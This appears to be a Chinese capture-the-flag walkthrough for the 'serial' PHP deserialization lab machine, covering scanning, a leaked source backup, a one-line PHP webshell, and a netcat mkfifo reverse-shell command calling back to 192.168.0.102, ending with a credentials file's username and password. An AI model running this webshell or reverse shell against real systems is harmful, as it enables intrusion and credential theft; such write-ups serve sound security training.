反序列化靶机-serial攻略

1、打开虚拟机

2、扫描活跃的IP和端口

3、访问并查看页面源码

4、使用burpsuite解码,发现其为对象序列化的输出结果

5、扫描目录,找到隐藏目录/backup/

6、访问

7、下载bak.zip,解压发现3个php文件

8、查看代码,发现index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出

9、get shell

制作一句话木马

<?php system($_GET['cmd']);?>

10、构造payload

11、访问192.168.3.179/4.php,将回显的base64编码后序列化的输出结果复制

12、添加反弹shell:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.0.102+4444+>/tmp/f

13、反弹成功

14、cd /,然后ls

15、cat credentials.txt.bak

16、账号:sk4 密码:KywZmnPWW6tTbW5w

相关推荐
shang_xs16 小时前
Java 25 ScopedValue - 作用域内安全访问的一种实现
java·开发语言·安全
2501_9418053116 小时前
在首尔智能公共自行车场景中构建实时调度与高并发骑行数据分析平台的工程设计实践经验分享
安全
龙亘川16 小时前
低空智能网联安全技术深度解析:从标准体系到核心技术落地
安全
中科固源17 小时前
面对快手式自动化突袭:如何堵住通讯协议的数字化命门?
安全·网络安全·通讯协议·模糊测试
无忧智库18 小时前
某市“十四五”教育信息化收官总结与“十五五”智慧教育2.0规划建设方案深度解读:打造数据驱动、集约高效、安全可信的未来教育新范式
安全
网安_秋刀鱼18 小时前
【java安全】反序列化 - CC1链
java·c语言·安全
2501_9418227519 小时前
在开罗智能公共交通场景中构建实时调度与高并发乘客数据处理平台的工程设计实践经验分享
网络·安全
小二·19 小时前
Vite 构建完全指南:极致性能优化、安全加固与自动化部署(Vue 3 + TypeScript)
安全·性能优化·typescript
厦门辰迈智慧科技有限公司19 小时前
水库大坝安全监测:无人测量船的关键应用场景
安全·水库大坝安全监测·无人测量船·河道流量
华普微HOPERF19 小时前
数字隔离器,复杂环境下的电气安全“防火墙”
安全